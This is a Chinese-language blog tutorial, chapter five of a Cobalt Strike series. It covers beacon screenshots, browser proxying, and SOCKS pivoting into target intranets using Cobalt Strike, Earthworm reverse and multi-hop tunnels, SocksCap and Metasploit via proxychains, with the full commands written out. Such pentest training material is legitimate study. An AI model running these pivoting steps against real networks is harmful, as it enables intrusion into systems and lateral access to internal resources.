Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容:

Cobalt Strike系列教程第一章:简介与安装

Cobalt Strike系列教程第二章:Beacon详解

Cobalt Strike系列教程第三章:菜单栏与视图

Cobalt Strike系列教程第四章:文件/进程管理与键盘记录

今天我们将继续分享Cobalt Strike系列教程的其他章节内容,希望对大家的学习有所帮助,快速提升实用技能。

截图与浏览器代理

截图

选择一个beacon,右键,目标-->屏幕截图:

然后点击菜单栏上的“屏幕截图”按钮,如图,成功查看到截图:

浏览器代理

选择一个beacon,右键,目标-->浏览器代理

配置好相关的端口信息后,点击开始,即可使用目标机的指定端口作为浏览器代理。

随后cobaltstrike就会注入浏览器代理dll到进程中,我们通过配置我们服务器的IP,端口(本例中为123.207.x/x),即可使用目标机作为浏览器代理。

内置Socks与神器EW

Socks概念

目前利用网络防火墙将组织内部的网络结构与外部网络如 INTERNET 中有效地隔离开来,这种方法正变得逐渐流行起来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。SOCKS 提供一个通用框架来使这些协议安全透明地穿过防火墙。

说的简单明了一点,在渗透测试中,我们使用socks技术,可以穿透进入目标机的内网,从而扩大我们的战果。

Cobaltstrike自带Socks功能

选择一个beacon,右键,中转-->SOCKS Server,或使用命令socks [port]

弹出一个窗口,按要求配置好代理端口。

如图,成功开启socks 4,连接我们teamserver的5126端口,即可进入目标机内网。

使用ew+SocksCap穿透到目标机内网

Earthworm

Ew(Earthworm)是一款当之无愧的内网穿透大杀器,应用的平台非常广泛,包括:

ew_for_Win.exe        适用各种Windows系统(X86指令集、X64指令集)        Windows7、Windows XP
ew_for_Linux32        各常见Linux发行版 (X86 指令集 CPU)        Ubuntu(X86)/BT5(X86)
ew_for_linux64        各常见Linux发行版 (X64 指令集 CPU)        Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64        MacOS系统发行版 (X64 指令集)        苹果PC电脑,苹果server
ew_for_Arm32        常见Arm-Linux系统        HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel        常见Mips-Linux系统 (Mipsel指令集 CPU)        萤石硬盘录像机、小米mini路由器(R1CM)

下面简单讲一下它的应用场景和命令:

1、正向socks v5服务器 【适用于目标机拥有一个外网IP】

服务器端执行以下命令:

ew.exe -s ssocksd -l 888

说明:服务器开启端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。

2、反弹socks v5服务器 【适用于目标机器没有公网IP,但可访问内网资源】

本地执行以下命令:

ew.exe -s rcsocks -l 1008 -e 888

说明:该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口。

服务器端执行以下命令:

ew.exe -s rssocks -d 2.2.2.2 -e 888

说明:该命令的意思是在服务器上启动SOCKS V5服务,并反弹到IP地址为2.2.2.2的服务器888端口上。

3、二级网络环境(一)

假设我们获得了右侧A主机和B主机的控制权:

A主机配有2块网卡,一块连通外网,一块10.48.128.25只能连接内网B主机,无法访问内网其它资源。

B主机可以访问内网资源,但无法访问外网。

A.先上传ew到B主机,利用ssocksd方式启动888端口的SOCKS代理,命令如下:

ew -s ssocksd -l 888

B.上传ew到右侧A主机,运行下列命令:

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888

说明:该命令意思是将1080端口收到的代理请求转交给B主机(10.48.128.49)的888端口。

C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。

4、网络环境(二)

假设我们获得了右侧A主机和B主机的控制权限:

A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

这个操作分为4步,用到lcx_listen和lcx_slave命令:

A. 先上传ew 到左侧公网VPS上,运行下列命令:

ew –s lcx_listen –l 10800 –e 888

说明:该命令意思是在公网VPS添加转接隧道,将10800端口收到的代理请求转交给888端口。

B.上传ew到B主机,并利用ssocksd方式启动999端口的socks代理,命令如下:

ew -s ssocksd -l 999

C.上传ew 到A主机,运行下列命令:

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999

说明:该命令意思是在A主机上利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来。

D. 返回我们公网VPS的CMD界面下,可以看到已经连接成功了。

现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。

5、三级网络环境

三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法。

假设渗透场景:

内网A主机没有公网IP但可以访问外网

B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。

A.在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口:

ew -s rcsocks -l 1080 -e 888

B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来:

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999

C.在B主机上运行命令,将999端口收到的代理请求转交给777端口:

ew -s lcx_listen -l 999 -e 777

D.在C主机上启动SOCKS V5服务,并反弹到B主机的777端口上,命令如下。

ew -s rssocks -d 10.48.128.12 -e 777

E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。

整个数据流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks

6、实战场景

本次测试目标机器没有公网IP,但可访问内网资源。

①我们在teamserver上运行以下命令

ew.exe -s rcsocks -l 1008 -e 888

接受888端口数据,然后转发到1008端口:

②然后我们在目标机上传ew,然后在cs中执行:

ew.exe -s rssocks -d 2.2.2.2 -e 888(2.2.2.2为teamserver)

③随后,我们的teamserver就会显示连接成功:

使用SocksCap连接socks

根据自己的Windows版本以管理员模式运行SocksCap后,点击代理,添加自己teamserver的ip和刚刚转发出来的端口。

在这里把代理切换成刚刚添加的:

右键,添加一个exe文件,根据你的需求,添加要在socks隧道中运行的程序。

选择程序,右键-->在代理隧道中运行选中程序,该程序即可通过socks进入目标内网。

如图,为连入socks通道的cmd ping目标机的某内网ip。

在Kali中Metasploit使用socks通道

使用cs搭建好socks4通道后,首先配置神器proxychains。

在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置,确保在不同的代理服务器之间能够正常切换。

然后在MSF中,配置socks4隧道即可让MSF进入目标机内网大杀四方。

(2.2.2.2为teamserver的ip,1081为socks端口)

msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 2.2.2.2
msf auxiliary(socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >

以上是今天的内容,大家看懂了吗?后面我们将持续更新Cobalt Strike系列的知识点,希望大家及时关注。

Cobalt Strike系列教程第五章:截图与浏览器代理的更多相关文章

  1. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  2. Cobalt Strike系列教程第六章:安装扩展

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  3. Cobalt Strike系列教程第四章:文件/进程管理与键盘记录

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  4. Cobalt Strike系列教程第三章:菜单栏与视图

    通过前两章的学习,我们掌握了Cobalt Strike教程的基础知识,及软件的安装使用. Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  5. Cobalt Strike系列教程第二章:Beacon详解

    上周更新了Cobalt Strike系列教程第一章:简介与安装,文章发布后,深受大家的喜爱,遂将该系列教程的其他章节与大家分享,提升更多实用技能! 第二章:Beacon详解 一.Beacon命令 大家 ...

  6. Cobalt Strike系列教程第一章:简介与安装

    Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...

  7. 实战SpringCloud响应式微服务系列教程(第九章)使用Spring WebFlux构建响应式RESTful服务

    本文为实战SpringCloud响应式微服务系列教程第九章,讲解使用Spring WebFlux构建响应式RESTful服务.建议没有之前基础的童鞋,先看之前的章节,章节目录放在文末. 从本节开始我们 ...

  8. 《Entity Framework 6 Recipes》中文翻译系列 (22) -----第五章 加载实体和导航属性之延迟加载

    翻译的初衷以及为什么选择<Entity Framework 6 Recipes>来学习,请看本系列开篇 第五章 加载实体和导航属性 实体框架提供了非常棒的建模环境,它允许开发人员可视化地使 ...

  9. webpack4 系列教程(十五):开发模式与webpack-dev-server

    作者按:因为教程所示图片使用的是 github 仓库图片,网速过慢的朋友请移步<webpack4 系列教程(十五):开发模式与 webpack-dev-server>原文地址.更欢迎来我的 ...

随机推荐

  1. Thread.Sleep线程休眠-小白向

    try { Thread.sleep(); } catch (InterruptedException e) { } 首先这段代码的作用是使当前进程沉睡2S,展现给用户的结果就是画面维持两秒,有个“正 ...

  2. 深入理解 Spring Cloud 核心组件与底层原理

    一.Spring Cloud核心组件:Eureka Netflix Eureka Eureka详解 1.服务提供者 2.服务消费者 3.服务注册中心 二.Spring Cloud核心组件:Ribbon ...

  3. Python爬虫实战:爬取腾讯视频的评论

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: 易某某 PS:如有需要Python学习资料的小伙伴可以加点击下方链 ...

  4. javascript中引用传递的问题如何解决

    我们有时候会向一个方法中传入一个参数,并且对这个参数做一些处理的操作: 但是因为是引用传递,处理过后会对原有的对象造成修改,无法进行反复使用. 如例子: 两次打印的结果一模一样.这样下一个方法在继续使 ...

  5. mysql数据库排坑过程

    刚安装mysql后想通过navicat来连接mysql,发现报错 1251这个错误,不慌.这个很简单. 首先通过cmd进入mysql. 然后修改密码规则 ALTER USER 'root'@'loca ...

  6. Bash脚本编程之算术运算

    简介 Bash所支持的算术运算和C语言是一样的,这里指的是操作符(operator)以及它们的优先级(precedence).结合性(associativity)和值,详见Shell Arithmet ...

  7. System.out.println高并发下导致应用暂停

    今天在进行序列号压测的时候,通过调用genSeqId方法来获取序列号,100并发,16台压测机器,发现无论怎么压测,调用量达到140w左右的时候,此方法的ops直接掉到了0,具体图示如下: 从上图可以 ...

  8. 使用SC命令操作(安装、开启、配置、关闭、删除)Windows下的服务

    目录 一.直接使用cmd命令行操作windows服务 二.使用bat批处理-操作windows服务 一.直接使用cmd命令行操作windows服务 1.安装服务 sc create 服务名 binPa ...

  9. C# 多线程总结 异常处理 线程取消 锁(lock)

    那么什么时候能用多线程? 任务能并发的时候 多线程能干嘛?提升速度/优化用户体验 网站首页:A数据库 B接口 C分布式服务 D搜索引擎,适合多线程并发,都完成后才能返回给用户,需要等待WaitAll列 ...

  10. Prometheus学习系列(九)之Prometheus 联盟、迁移

    前言 本文来自Prometheus官网手册 和 Prometheus简介 FEDERATION 允许Prometheus服务器从另一台Prometheus服务器抓取选定的时间序列. 一,用例 联盟有不 ...